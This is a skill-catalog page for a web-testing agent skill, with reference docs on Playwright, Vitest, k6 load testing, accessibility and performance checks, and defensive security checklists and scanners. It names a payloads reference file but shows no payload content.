
Web Testing
- 403 installs
- 2.2k repo stars
- Updated April 3, 2026
- mrgoonie/claudekit-skills
web-testing is a Claude Code agent skill that plans and runs comprehensive web tests with Playwright, Vitest, and k6 for developers who need unit, E2E, load, security, visual, and accessibility validation before release.
About
web-testing is a Claude Code skill from mrgoonie/claudekit-skills for comprehensive browser and API testing before release. It recommends a testing pyramid of roughly 70% unit (Vitest/Jest under 50ms), 20% integration (Vitest with fixtures, 100–500ms), and 10% E2E (Playwright, 5–30s). Quick-start commands include `npx vitest run`, `npx playwright test`, `k6 run load-test.js`, `npx @axe-core/cli`, and `npx lighthouse`. Reference docs cover E2E Playwright workflows, component testing, flakiness mitigation, Core Web Vitals, mobile gestures, cross-browser matrices, and CI gates where unit tests fail fast before E2E and accessibility checks. Developers reach for web-testing to automate regression checks, load validation, visual regression, and a11y scans on critical flows like login, checkout, and payment.
- E2E flow validation
- Regression checklists
- Browser behavior checks
- UI interaction testing
- Pre-release sign-off
Web Testing by the numbers
- 403 all-time installs (skills.sh)
- +3 installs in the week ending Jul 26, 2026 (Skillselion tracking)
- Ranked #649 of 2,155 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 3, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mrgoonie/claudekit-skills --skill web-testingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 403 |
|---|---|
| repo stars | ★ 2.2k |
| Last updated | April 3, 2026 |
| Repository | mrgoonie/claudekit-skills ↗ |
How do you automate web app testing before release?
Plan and execute web app tests—manual flows, regression checks, and browser-level validation—before release using Claudekit web-testing guidance.
Who is it for?
Full-stack developers shipping web apps who need Playwright E2E, Vitest unit/integration, k6 load tests, and axe/Lighthouse quality gates in one agent-guided workflow.
Skip if: Native mobile-only apps without browser surfaces, or backend services with no frontend where PHPUnit/Go test skills are a better fit.
When should I use this skill?
User asks to plan regression tests, fix flaky Playwright specs, run load tests, or add accessibility and Lighthouse checks before release.
What you get
Vitest unit reports, Playwright E2E results, k6 load metrics, axe accessibility findings, and Lighthouse performance scores in CI gates.
- Test plans
- Playwright and Vitest specs
- CI gate configuration
By the numbers
- Testing pyramid ratio: 70% unit, 20% integration, 10% E2E
- Integrates 5 test tools: Vitest, Playwright, k6, axe-core CLI, and Lighthouse
Files
Web Testing Skill
Comprehensive web testing: unit, integration, E2E, load, security, visual regression, accessibility.
Quick Start
npx vitest run # Unit tests
npx playwright test # E2E tests
npx playwright test --ui # E2E with UI
k6 run load-test.js # Load tests
npx @axe-core/cli https://example.com # Accessibility
npx lighthouse https://example.com # PerformanceTesting Pyramid (70-20-10)
| Layer | Ratio | Framework | Speed |
|---|---|---|---|
| Unit | 70% | Vitest/Jest | <50ms |
| Integration | 20% | Vitest + fixtures | 100-500ms |
| E2E | 10% | Playwright | 5-30s |
When to Use
- Unit: Functions, utilities, state logic
- Integration: API endpoints, database ops, modules
- E2E: Critical flows (login, checkout, payment)
- Load: Pre-release performance validation
- Security: Pre-deploy vulnerability scanning
- Visual: UI regression detection
Reference Documentation
Core Testing
./references/unit-integration-testing.md- Unit/integration patterns./references/e2e-testing-playwright.md- Playwright E2E workflows./references/component-testing.md- React/Vue/Angular component testing./references/testing-pyramid-strategy.md- Test ratios, priority matrix
Cross-Browser & Mobile
./references/cross-browser-checklist.md- Browser/device matrix./references/mobile-gesture-testing.md- Touch, swipe, orientation./references/shadow-dom-testing.md- Web components testing
Interactive & Forms
./references/interactive-testing-patterns.md- Forms, keyboard, drag-drop./references/functional-testing-checklist.md- Feature testing
Performance & Quality
./references/performance-core-web-vitals.md- LCP/CLS/INP, Lighthouse CI./references/visual-regression.md- Screenshot comparison./references/test-flakiness-mitigation.md- Stability strategies
Accessibility
./references/accessibility-testing.md- WCAG checklist, axe-core
Security
./references/security-testing-overview.md- OWASP Top 10, tools./references/security-checklists.md- Auth, API, headers./references/vulnerability-payloads.md- SQL/XSS/CSRF payloads
API & Load
./references/api-testing.md- API test patterns./references/load-testing-k6.md- k6 load test patterns
Checklists
./references/pre-release-checklist.md- Complete release checklist
CI/CD Integration
jobs:
test:
steps:
- run: npm run test:unit # Gate 1: Fast fail
- run: npm run test:e2e # Gate 2: After unit pass
- run: npm run test:a11y # Accessibility
- run: npx lhci autorun # PerformanceAccessibility Testing (a11y)
WCAG 2.1 AA Checklist
Perceivable
- [ ] Images have meaningful alt text
- [ ] Color not sole conveyance method
- [ ] Contrast ratio 4.5:1 (text)
- [ ] Text resizable to 200%
Operable
- [ ] All functions keyboard accessible
- [ ] Visible focus indicators
- [ ] Skip navigation links
- [ ] No keyboard traps
Understandable
- [ ] Language attribute set
- [ ] Labels for form inputs
- [ ] Error messages clear
Robust
- [ ] Valid HTML
- [ ] ARIA landmarks correct
Playwright + axe-core
import { test, expect } from '@playwright/test';
import AxeBuilder from '@axe-core/playwright';
test('page is accessible', async ({ page }) => {
await page.goto('http://localhost:3000');
const results = await new AxeBuilder({ page }).analyze();
expect(results.violations).toEqual([]);
});
test('WCAG AA compliant', async ({ page }) => {
await page.goto('http://localhost:3000');
const results = await new AxeBuilder({ page })
.withTags(['wcag2aa'])
.analyze();
expect(results.violations).toEqual([]);
});Component Testing (Jest)
import { axe, toHaveNoViolations } from 'jest-axe';
expect.extend(toHaveNoViolations);
test('Button accessible', async () => {
const { container } = render(<Button>Click</Button>);
expect(await axe(container)).toHaveNoViolations();
});Manual Testing
- [ ] Tab through all interactive elements
- [ ] Shift+Tab navigates backward
- [ ] Enter/Space activates buttons
- [ ] Escape closes modals
- [ ] Screen reader announces content
CLI Tools
npx @axe-core/cli https://example.com
npx lighthouse https://example.com --only-categories=accessibility
npx pa11y https://example.comCI Integration
- name: Accessibility Tests
run: npx playwright test --grep @a11yResources
- axe rules: https://dequeuniversity.com/rules/axe/
- WCAG checklist: https://www.a11yproject.com/checklist/
API Testing
Supertest (Jest/Vitest)
import request from 'supertest';
import app from './app';
describe('POST /users', () => {
it('creates user with valid data', async () => {
const res = await request(app)
.post('/users')
.send({ email: 'test@example.com', password: 'secret123' });
expect(res.status).toBe(201);
expect(res.body.id).toBeDefined();
});
it('rejects duplicate email', async () => {
await request(app).post('/users').send({ email: 'dup@example.com' });
const res = await request(app).post('/users').send({ email: 'dup@example.com' });
expect(res.status).toBe(409);
});
it('requires authentication', async () => {
const res = await request(app).get('/protected');
expect(res.status).toBe(401);
});
});API Checklist
Authentication
- [ ] Valid credentials return 200 + token
- [ ] Invalid credentials return 401
- [ ] Missing/expired token returns 401
Authorization
- [ ] User accesses own resources
- [ ] Cannot access others' resources (403)
Input Validation
- [ ] Missing required fields → 400
- [ ] Invalid types → 400
- [ ] SQL/XSS payloads rejected
Response
- [ ] Correct status codes
- [ ] Schema matches docs
- [ ] Error messages helpful
Rate Limiting
- [ ] Rate limit headers present
- [ ] 429 when limit exceeded
Postman Tests
pm.test("Status 200", () => pm.response.to.have.status(200));
pm.test("Has user ID", () => {
pm.expect(pm.response.json().id).to.be.a('number');
});GraphQL Testing
const query = `query { users { id email } }`;
const res = await request(app).post('/graphql').send({ query });
expect(res.body.data.users).toHaveLength(2);Contract Testing
npx dredd api.yaml http://localhost:3000Component Testing
Philosophy: Test Behavior, Not Implementation
// BAD: Tests internals
expect(component.state.isOpen).toBe(true);
// GOOD: Tests user-visible behavior
await userEvent.click(getByRole('button', { name: 'Open' }));
expect(getByRole('dialog')).toBeVisible();React Testing Library
import { render, screen } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
test('form submission', async () => {
render(<LoginForm />);
await userEvent.type(screen.getByLabelText('Email'), 'test@example.com');
await userEvent.type(screen.getByLabelText('Password'), 'secret123');
await userEvent.click(screen.getByRole('button', { name: /login/i }));
expect(screen.getByText('Login successful')).toBeInTheDocument();
});Vue Test Utils
import { mount } from '@vue/test-utils';
test('form submission', async () => {
const wrapper = mount(LoginForm);
await wrapper.find('input[type="email"]').setValue('test@example.com');
await wrapper.find('button').trigger('click');
expect(wrapper.text()).toContain('Login successful');
});Angular Testing Library
import { render, screen } from '@testing-library/angular';
import userEvent from '@testing-library/user-event';
test('form submission', async () => {
await render(LoginFormComponent);
const user = userEvent.setup();
await user.type(screen.getByLabelText('Email'), 'test@example.com');
await user.click(screen.getByRole('button', { name: /login/i }));
expect(screen.getByText('Login successful')).toBeInTheDocument();
});Query Priority (Accessibility-First)
1. getByRole - buttons, links, headings 2. getByLabelText - form fields 3. getByPlaceholderText - inputs 4. getByText - non-interactive elements 5. getByTestId - last resort
Async Patterns
await screen.findByText('Loaded');
await waitForElementToBeRemoved(() => screen.queryByText('Loading'));
await waitFor(() => expect(screen.getByText('Done')).toBeInTheDocument());Mocking
vi.mock('./api', () => ({
fetchUser: vi.fn().mockResolvedValue({ name: 'John' })
}));
render(
<UserContext.Provider value={{ user: mockUser }}>
<Profile />
</UserContext.Provider>
);Vitest Browser Mode
// vitest.config.ts - more accurate than jsdom
export default defineConfig({
test: { browser: { enabled: true, name: 'chromium', provider: 'playwright' } },
});Cross-Browser & Responsive Testing
Browser Coverage
| Browser | Priority |
|---|---|
| Chrome | Mandatory |
| Safari | Mandatory (mobile) |
| Edge | Mandatory |
| Firefox | Recommended |
Device Breakpoints
| Device | Viewport | Priority |
|---|---|---|
| Mobile S | 320px | High |
| Mobile M | 375px | High |
| Tablet | 768px | High |
| Laptop | 1024px | High |
| Desktop | 1440px | High |
Playwright Config
import { devices } from '@playwright/test';
export default defineConfig({
projects: [
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
{ name: 'firefox', use: { ...devices['Desktop Firefox'] } },
{ name: 'webkit', use: { ...devices['Desktop Safari'] } },
{ name: 'mobile-chrome', use: { ...devices['Pixel 5'] } },
{ name: 'mobile-safari', use: { ...devices['iPhone 12'] } },
],
});Responsive Checklist
Layout
- [ ] Content reflows at all breakpoints
- [ ] No horizontal scrolling on mobile
- [ ] Navigation transforms to mobile menu
- [ ] Touch targets 44px minimum
Forms
- [ ] Input fields usable on mobile
- [ ] Touch keyboard doesn't obscure inputs
- [ ] Date pickers mobile-friendly
Interactive
- [ ] Hover states have touch alternatives
- [ ] Modals size appropriate per device
Browser-Specific Issues
- Safari: flexbox gap, date input, WebP
- Firefox: CSS grid subgrid, custom scrollbars
- Edge: Same as Chromium (verify anyway)
Commands
npx playwright test --project=chromium
npx playwright test --project=mobile-chrome --project=mobile-safariTesting Services
- BrowserStack: Real device cloud
- Sauce Labs: Cross-browser cloud
- Playwright: Local emulation (free)
E2E Testing with Playwright
Setup
npm init playwright@latest
npx playwright installTest Structure
import { test, expect } from '@playwright/test';
test.describe('User Login', () => {
test('should login successfully', async ({ page }) => {
await page.goto('http://localhost:3000/login');
await page.fill('input[name="email"]', 'user@example.com');
await page.fill('input[name="password"]', 'password123');
await page.click('button:text("Login")');
await page.waitForURL('/dashboard');
await expect(page.locator('h1')).toContainText('Dashboard');
});
});Selector Strategies
// Preferred (accessibility-first)
await page.getByRole('button', { name: 'Submit' }).click();
await page.getByLabel('Email').fill('user@example.com');
// Fallback
await page.locator('[data-testid="submit-btn"]').click();Common Patterns
Wait for API
const responsePromise = page.waitForResponse('**/api/users');
await page.click('button:text("Load")');
await responsePromise;Mock API
await page.route('**/api/users', route =>
route.fulfill({ status: 200, body: JSON.stringify([]) })
);Configuration
export default defineConfig({
workers: process.env.CI ? 2 : undefined,
fullyParallel: true,
use: {
screenshot: 'only-on-failure',
trace: 'on-first-retry',
},
});Commands
npx playwright test # Run all
npx playwright test --ui # UI mode
npx playwright test login.spec.ts # Specific file
npx playwright codegen https://example.com # Generate
npx playwright show-report # View reportCI/CD
- run: npx playwright install --with-deps
- run: npx playwright test
- uses: actions/upload-artifact@v4
if: failure()
with:
name: playwright-report
path: playwright-report/Functional Testing Checklist
Core Features
- [ ] Primary user workflows execute end-to-end
- [ ] CRUD operations work (create, read, update, delete)
- [ ] Error states handled gracefully
- [ ] Validation rules enforced (email, phone, dates)
- [ ] Search/filter functions correctly
- [ ] Sorting works in both directions
- [ ] Pagination displays correct data
User Workflows
- [ ] Signup flow completes successfully
- [ ] Login flow works with valid credentials
- [ ] Password reset flow sends email and resets
- [ ] Multi-step forms retain data between steps
- [ ] Data persists after page refresh/navigation
- [ ] Logout clears session completely
- [ ] Deep links work correctly
Business Logic
- [ ] Calculations correct (totals, discounts, taxes)
- [ ] Rules enforced (age verification, region restrictions)
- [ ] Edge cases handled (zero, negative, max values)
- [ ] Date/time operations account for timezones
- [ ] Currency formatting correct
- [ ] Quantity limits enforced
Form Validation
- [ ] Required fields show error when empty
- [ ] Email format validation works
- [ ] Password strength requirements shown
- [ ] Phone number format accepted
- [ ] Date picker prevents invalid dates
- [ ] File upload validates type/size
- [ ] Form submits only when valid
Integration Points
- [ ] API calls succeed with correct parameters
- [ ] Database operations persist
- [ ] Third-party integrations work (payment, auth)
- [ ] Error responses handled gracefully
- [ ] Loading states displayed during async ops
- [ ] Timeout handling for slow responses
- [ ] Retry logic works on failures
Error Handling
- [ ] Network errors show retry option
- [ ] Invalid input shows helpful message
- [ ] 401 errors trigger re-authentication
- [ ] 403 errors show access denied
- [ ] 404 errors show not found page
- [ ] 500 errors logged, user sees friendly message
- [ ] Validation errors highlight specific fields
State Management
- [ ] URL reflects application state
- [ ] Browser back/forward works correctly
- [ ] Bookmarking preserves state
- [ ] Shared links open correct view
- [ ] State persists through refresh (when appropriate)
Test Priority Matrix
| Priority | Category | Examples |
|---|---|---|
| P0 (Critical) | Core flows | Signup, login, checkout, payment |
| P1 (High) | Major features | Search, CRUD, navigation |
| P2 (Medium) | Secondary features | Filters, sorting, pagination |
| P3 (Low) | Edge cases | Empty states, max limits |
Test Data Checklist
- [ ] Happy path data
- [ ] Empty/null values
- [ ] Boundary values (min, max)
- [ ] Invalid data types
- [ ] Unicode/special characters
- [ ] Long strings
- [ ] Whitespace (leading, trailing)
- [ ] Duplicate data scenarios
Interactive Testing Patterns
Form Testing
// Text input validation
test('validates email format', async ({ page }) => {
await page.fill('[name="email"]', 'invalid');
await page.click('button[type="submit"]');
await expect(page.locator('.error')).toContainText('Invalid email');
});
// Select dropdowns
await page.selectOption('select#country', 'US');
await page.selectOption('select#country', { label: 'United States' });
await page.selectOption('select#tags', ['tag1', 'tag2']); // Multi-select
// Checkboxes & radios
await page.check('input[name="terms"]');
await expect(page.locator('input[name="terms"]')).toBeChecked();
await page.uncheck('input[name="newsletter"]');
await page.check('input[value="premium"]'); // Radio
// File uploads
await page.setInputFiles('input[type="file"]', 'path/to/file.pdf');
await page.setInputFiles('input[type="file"]', ['file1.pdf', 'file2.pdf']);
// Date picker
await page.fill('input[type="date"]', '2025-12-25');
await page.click('.date-picker-trigger');
await page.click('.calendar-day:text("25")');Keyboard Navigation
test('keyboard accessibility', async ({ page }) => {
await page.keyboard.press('Tab');
await expect(page.locator(':focus')).toHaveAttribute('data-testid', 'first-btn');
await page.keyboard.press('Enter'); // Activate
await page.keyboard.press('Escape'); // Close modal
await page.keyboard.press('Shift+Tab'); // Navigate backward
});Drag & Drop
await page.dragAndDrop('#source', '#target');
// Manual control
const source = page.locator('#draggable');
await source.hover();
await page.mouse.down();
await page.locator('#dropzone').hover();
await page.mouse.up();Hover & Modals
await button.hover();
await expect(page.locator('.tooltip')).toBeVisible();
// Modal workflow
await page.click('button:text("Open")');
await expect(page.locator('[role="dialog"]')).toBeVisible();
await page.click('[aria-label="Close"]');
await expect(page.locator('[role="dialog"]')).not.toBeVisible();Scroll & Wait Patterns
await page.locator('#footer').scrollIntoViewIfNeeded();
await page.evaluate(() => window.scrollTo(0, document.body.scrollHeight));
// Wait patterns
await page.waitForLoadState('networkidle');
await Promise.all([page.waitForResponse('**/api/data'), page.click('button.load')]);Disable Animations
await page.addStyleTag({
content: '* { animation-duration: 0s !important; transition-duration: 0s !important; }'
});Load Testing with k6
Installation
brew install k6 # macOS
winget install k6 # Windows
docker run -i grafana/k6 run - <script.jsBasic Load Test
import http from 'k6/http';
import { check, sleep } from 'k6';
export const options = {
vus: 10,
duration: '30s',
};
export default function () {
const res = http.get('http://localhost:3000/api/users');
check(res, {
'status is 200': (r) => r.status === 200,
'response < 500ms': (r) => r.timings.duration < 500,
});
sleep(1);
}Stress Test with Stages
export const options = {
stages: [
{ duration: '2m', target: 50 },
{ duration: '5m', target: 50 },
{ duration: '2m', target: 100 },
{ duration: '2m', target: 0 },
],
thresholds: {
http_req_duration: ['p(95)<500'],
http_req_failed: ['rate<0.01'],
},
};With Authentication
export function setup() {
const res = http.post(`${BASE_URL}/api/login`, {
email: 'test@example.com', password: 'password',
});
return { token: res.json('token') };
}
export default function (data) {
const params = { headers: { Authorization: `Bearer ${data.token}` } };
http.get(`${BASE_URL}/api/protected`, params);
}Performance Thresholds
| Metric | Good | Warning |
|---|---|---|
| p50 latency | <200ms | <500ms |
| p95 latency | <500ms | <1s |
| Error rate | <0.1% | <1% |
Commands
k6 run script.js
k6 run --out json=results.json script.js
k6 cloud script.js # Grafana CloudArtillery Alternative
config:
target: 'http://localhost:3000'
phases: [{ duration: 60, arrivalRate: 10 }]
scenarios:
- flow: [{ get: { url: '/api/users' } }]npx artillery run artillery.ymlMobile Gesture Testing
Touch Gestures
Single-Finger
await page.tap('button.submit'); // Tap
await page.locator('button').click({ delay: 1000 }); // Long press
// Swipe simulation
await page.evaluate(() => {
const el = document.querySelector('.carousel');
el.dispatchEvent(new TouchEvent('touchstart', { touches: [{ clientX: 200, clientY: 100 }] }));
el.dispatchEvent(new TouchEvent('touchend', { touches: [{ clientX: 50, clientY: 100 }] }));
});Multi-Finger (Pinch/Zoom)
await page.evaluate(() => {
const el = document.querySelector('[data-zoomable]');
const touch1 = { identifier: 0, clientX: 100, clientY: 100 };
const touch2 = { identifier: 1, clientX: 120, clientY: 100 };
el.dispatchEvent(new TouchEvent('touchstart', { touches: [touch1, touch2] }));
touch1.clientX = 50; touch2.clientX = 170; // Fingers apart = zoom in
el.dispatchEvent(new TouchEvent('touchmove', { touches: [touch1, touch2] }));
});Orientation Testing
const orientations = [
{ width: 390, height: 844 }, // Portrait
{ width: 844, height: 390 }, // Landscape
];
for (const size of orientations) {
await page.setViewportSize(size);
await expect(page).toHaveScreenshot(`mobile-${size.width}.png`);
}Device Emulation
// playwright.config.ts
import { devices } from '@playwright/test';
export default defineConfig({
projects: [
{ name: 'mobile-chrome', use: { ...devices['Pixel 5'] } },
{ name: 'mobile-safari', use: { ...devices['iPhone 12'] } },
],
});Touch Target Checklist
- [ ] Minimum 44x44px touch targets
- [ ] No overlapping touch areas
- [ ] Sufficient spacing between buttons
- [ ] Swipe gestures have clear affordances
Real Device Gaps
Emulators miss: network throttling, touch latency, gesture recognition variations.
Minimum real device testing: iPhone (Safari iOS), Android flagship (Chrome)
Device Farm Services
| Service | Devices |
|---|---|
| BrowserStack | 3000+ |
| Sauce Labs | 2000+ |
| AWS Device Farm | 200+ |
Commands
npx playwright test --project=mobile-chrome --project=mobile-safariPerformance & Core Web Vitals Testing
Core Web Vitals (Google Ranking Factor)
| Metric | Target | Description |
|---|---|---|
| LCP | < 2.5s | Largest Contentful Paint |
| CLS | < 0.1 | Cumulative Layout Shift |
| INP | < 200ms | Interaction to Next Paint |
Lighthouse CI Setup
{
"ci": {
"collect": { "url": ["https://example.com"], "numberOfRuns": 3 },
"assert": {
"preset": "lighthouse:recommended",
"assertions": {
"categories:performance": ["error", { "minScore": 0.9 }],
"largest-contentful-paint": ["warn", { "maxNumericValue": 2500 }]
}
}
}
}GitHub Actions
- run: npm install -g @lhci/cli@*
- run: lhci autorunPlaywright Performance Test
test('measure Core Web Vitals', async ({ page }) => {
await page.goto('https://example.com');
const metrics = await page.evaluate(() => ({
lcp: performance.getEntriesByType('largest-contentful-paint')[0]?.startTime,
}));
expect(metrics.lcp).toBeLessThan(2500);
});Quick Performance Checks
npx lighthouse https://example.com --output=json
npx bundlesize # Bundle size check
npx webpack-bundle-analyzer dist/stats.jsonOptimization Checklist
LCP
- [ ] Lazy load below-fold images
- [ ] Preload critical resources
- [ ] Use CDN
CLS
- [ ] Reserve space for images (width/height)
- [ ] Font loading strategy (font-display: swap)
INP
- [ ] Break long JavaScript tasks
- [ ] Code splitting
Pre-Release Testing Checklist
Cross-Browser & Responsive
- [ ] Chrome, Firefox, Safari, Edge latest
- [ ] Mobile: iPhone real device (Safari iOS)
- [ ] Mobile: Android real device (Chrome)
- [ ] Breakpoints: 375px, 768px, 1024px, 1920px
- [ ] Portrait & landscape orientations
Functional Testing
- [ ] Primary user journeys complete
- [ ] CRUD operations work
- [ ] Login/logout/password reset
- [ ] Form validation enforced
- [ ] Search/filter/sort/pagination
Interactive Elements
- [ ] Buttons, links respond correctly
- [ ] Modals open/close properly
- [ ] Dropdowns, tooltips work
- [ ] Touch gestures work on mobile
- [ ] Drag & drop (if applicable)
Keyboard & Accessibility
- [ ] Tab navigation through all elements
- [ ] Enter/Space activates buttons
- [ ] Escape closes modals
- [ ] Visible focus indicators
- [ ] Screen reader announces content
Performance (Core Web Vitals)
- [ ] LCP < 2.5 seconds
- [ ] CLS < 0.1
- [ ] INP < 200ms
- [ ] Images optimized & lazy loaded
Visual & Layout
- [ ] No horizontal scroll on mobile
- [ ] Content reflows at breakpoints
- [ ] Sufficient color contrast
- [ ] Animations smooth
Error Handling
- [ ] Network errors show retry option
- [ ] 401/403/404/500 handled properly
- [ ] Form errors highlight fields
Security
- [ ] HTTPS enforced
- [ ] Security headers present
- [ ] CSRF tokens in forms
Test Quality
- [ ] All tests pass (no flaky tests)
- [ ] Coverage: Unit 70%, Integration 20%, E2E 10%
- [ ] Accessibility audit passed
Quick Commands
npm run test # All tests
npx playwright test --project=chromium,firefox # Cross-browser
npx @axe-core/cli https://staging.example.com # Accessibility
npx lighthouse https://staging.example.com # Performance
curl -I https://staging.example.com | grep -i security # HeadersSecurity Checklists
Authentication Security
- [ ] Strong auth mechanism (OAuth 2.0, JWT, OIDC)
- [ ] No basic auth or custom schemes
- [ ] Password policy enforced (12+ chars, complexity)
- [ ] MFA/2FA for sensitive operations
- [ ] Account lockout after failed attempts (5-10)
- [ ] Secure password reset (token expiration)
- [ ] Default credentials removed/disabled
- [ ] API keys not in code/version control
- [ ] Session tokens cryptographically generated
- [ ] Logout invalidates session/token
API Security
- [ ] HTTPS/TLS enforced for all endpoints
- [ ] API versioning strategy in place
- [ ] Rate limiting implemented
- [ ] Auth required (API key or OAuth token)
- [ ] Input validation on all parameters
- [ ] Output encoding/sanitization
- [ ] CORS headers properly configured
- [ ] Pagination limits prevent enumeration
- [ ] Proper HTTP status codes (401 vs 403)
- [ ] Error messages don't expose internals
Session Management
- [ ] Session IDs cryptographically random
- [ ] Cookies: HttpOnly, Secure, SameSite flags
- [ ] Session timeout (idle + absolute)
- [ ] Session invalidation on logout
- [ ] Session fixation protection (regenerate on login)
- [ ] CSRF tokens for state-changing ops
- [ ] Session data server-side (not in cookies)
Input Validation
- [ ] Whitelist validation (allow only expected)
- [ ] Type validation (string, number, date)
- [ ] Length validation (min/max)
- [ ] Format validation (regex for email, URL)
- [ ] SQL parameters use prepared statements
- [ ] NoSQL queries use safe APIs
- [ ] Command execution avoided/validated
- [ ] XML external entities disabled (XXE)
- [ ] JSON parsing safe (no eval)
- [ ] ReDoS-safe regex patterns
Security Headers
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()- [ ] CSP configured (restrict resource loading)
- [ ] X-Content-Type-Options: nosniff
- [ ] X-Frame-Options (DENY or SAMEORIGIN)
- [ ] HSTS enabled with appropriate max-age
- [ ] Referrer-Policy configured
- [ ] Permissions-Policy set
- [ ] Server/X-Powered-By headers removed
- [ ] CORS: No wildcard on credentialed endpoints
Verify Headers
# Check security headers
curl -I https://example.com
# Use securityheaders.com
# Use observatory.mozilla.orgSecurity Testing Overview
OWASP Top 10 (2024)
| Rank | Vulnerability | Testing Method |
|---|---|---|
| A01 | Broken Access Control | Test unauthorized actions across roles |
| A02 | Cryptographic Failures | Check HTTPS, encryption algorithms |
| A03 | Injection (SQL/NoSQL/Cmd) | Test with payloads (see vulnerability-payloads.md) |
| A04 | Insecure Design | Threat modeling, abuse case testing |
| A05 | Security Misconfiguration | Default creds, open ports, headers |
| A06 | Vulnerable Components | npm audit, Snyk scanning |
| A07 | Auth Failures | Brute force, session hijacking |
| A08 | Integrity Failures | Deserialization, CI/CD security |
| A09 | Logging Failures | Verify security event logging |
| A10 | SSRF | Test internal URL access |
Security Testing Types
SAST (Static Analysis)
- When: Early development, pre-commit
- Tools: SonarQube, CodeQL, Semgrep
- Focus: Code flaws without execution
- Limitation: High false positives
DAST (Dynamic Analysis)
- When: QA/staging, running application
- Tools: OWASP ZAP, Burp Suite, Nuclei
- Focus: Runtime vulnerabilities
- Limitation: Requires running app
SCA (Dependency Scanning)
- Tools: npm audit, Snyk, Dependabot
- Focus: Known CVEs in dependencies
- Automation: CI/CD integration
Secret Detection
- Tools: detect-secrets, GitGuardian
- Focus: API keys, passwords in code
- Implementation: Pre-commit hooks
Quick Security Scan
# Dependency vulnerabilities
npm audit
npx snyk test
# OWASP ZAP baseline scan
docker run -t ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py -t https://example.com
# Nuclei template scan
nuclei -u https://example.com -t cves/
# Check security headers
curl -I https://example.com | grep -i "security\|content-security\|x-"Penetration Testing Phases
1. Reconnaissance: DNS, WHOIS, tech fingerprinting 2. Scanning: Port scan, service enumeration 3. Vulnerability Assessment: Automated + manual testing 4. Exploitation: Verify findings, demonstrate impact 5. Reporting: CVSS scores, remediation guidance
Tools Comparison
| Tool | Type | Cost | Best For |
|---|---|---|---|
| OWASP ZAP | DAST | Free | CI/CD, learning |
| Burp Suite | DAST | Paid | Enterprise, detailed |
| Nuclei | DAST | Free | Custom checks |
| npm audit | SCA | Free | Node.js deps |
| Snyk | SCA | Free/Paid | Multi-language |
CI/CD Integration
# Security scanning in pipeline
- name: Dependency Scan
run: npm audit --audit-level=high
- name: SAST Scan
uses: github/codeql-action/analyze@v3
- name: DAST Scan
run: |
docker run -v $(pwd):/zap/wrk:rw ghcr.io/zaproxy/zaproxy:stable \
zap-api-scan.py -t http://localhost:3000/openapi.json -f openapiShadow DOM & Web Components Testing
Challenges
- CSS encapsulation breaks selectors
- Elements hidden from DOM queries
- XPath doesn't penetrate shadow boundaries
Tool Support
| Tool | Support | Method |
|---|---|---|
| Playwright | Native | >> piercing selector |
| Cypress | Good | .shadow() command |
| Selenium | Limited | JS execution |
| Axe | v5.7+ | API support |
Playwright Shadow Piercing
const input = page.locator('my-component >> .internal-input');
const button = page.locator('comp-a >> comp-b >> button');
const el = page.locator('custom-element >> button:has-text("Click me")');Cypress Shadow DOM
cy.get('my-component').shadow().find('.internal-button').click();
// Enable globally: { includeShadowDom: true }Selenium Workaround
const shadowHost = driver.findElement(By.css('my-component'));
const shadowRoot = driver.executeScript('return arguments[0].shadowRoot', shadowHost);
const button = shadowRoot.findElement(By.css('button'));Page Object Pattern
export class MyComponentPO {
constructor(private page: Page) {}
async fillEmail(email: string) {
await this.page.locator('my-form >> input[type="email"]').fill(email);
}
async submit() {
await this.page.locator('my-form >> button[type="submit"]').click();
}
}Best Practices
1. Request open shadow roots when possible 2. Encapsulate shadow traversal in page objects 3. Avoid deep nesting (increases complexity)
Debugging
const contents = await page.evaluate(() => {
return document.querySelector('my-component').shadowRoot.innerHTML;
});Test Flakiness Mitigation
Root Causes
- Timing mismatches (hard waits)
- Non-isolated tests (shared state)
- Network instability
- Animation timing
Explicit Waits (Not Hard Waits)
// BAD: Hard wait
await new Promise(r => setTimeout(r, 500));
// GOOD: Wait for condition
await page.waitForSelector('.success', { timeout: 10000 });
await expect(page.locator('.count')).toContainText('5');
// BEST: Playwright auto-wait
await page.getByRole('button', { name: /submit/i }).click();Wait Timeout Guidelines
| Scenario | Timeout |
|---|---|
| Page load | 10-15s |
| Element visibility | 5-10s |
| API responses | 30-60s |
Retry Strategies
// Playwright built-in
test.describe.configure({ retries: 3 });
// Per-test
test('flaky test', async ({ page }) => { /* */ }, { retries: 3 });
// Exponential backoff
async function retryWithBackoff(fn, maxRetries = 3) {
for (let i = 0; i < maxRetries; i++) {
try { return await fn(); }
catch (e) {
if (i === maxRetries - 1) throw e;
await new Promise(r => setTimeout(r, Math.pow(2, i) * 1000));
}
}
}Test Isolation
// BAD: Dependent tests
let userId;
test('create', async () => { userId = await createUser(); });
test('load', async () => { await loadUser(userId); }); // Depends on previous!
// GOOD: Independent
test('create and load', async ({ page }) => {
const userId = await createUser(page);
await loadUser(page, userId);
});Disable Animations
* { animation-duration: 0s !important; transition-duration: 0s !important; }Network Stability
await page.route('**/external-api/**', route =>
route.fulfill({ status: 200, body: '{}' })
);Flakiness Detection
npx playwright test --repeat-each=5Testing Pyramid Strategy
Classic 70-20-10 Ratio
E2E (10%) Slow, expensive, critical paths
/----------\
/ Integration\ 20% - APIs, database
/--------------\
/ Unit Tests \ 70% - Fast, cheap, logic
/____________________\Ratios by Context
| Context | Unit | Integration | E2E |
|---|---|---|---|
| Classic | 70% | 20% | 10% |
| Heavy frontend | 60% | 25% | 15% |
| API-heavy | 75% | 15% | 10% |
| Critical transactions | 60% | 20% | 20% |
Cost-Benefit
| Type | Cost | Speed | Bug Coverage |
|---|---|---|---|
| Unit | Low | <50ms | 70% |
| Integration | Medium | 100-500ms | 20% |
| E2E | High | 5-30s | 10% |
Test Organization
tests/
├── unit/ # 70%
├── integration/ # 20%
├── e2e/ # 10%
└── fixtures/Priority Matrix
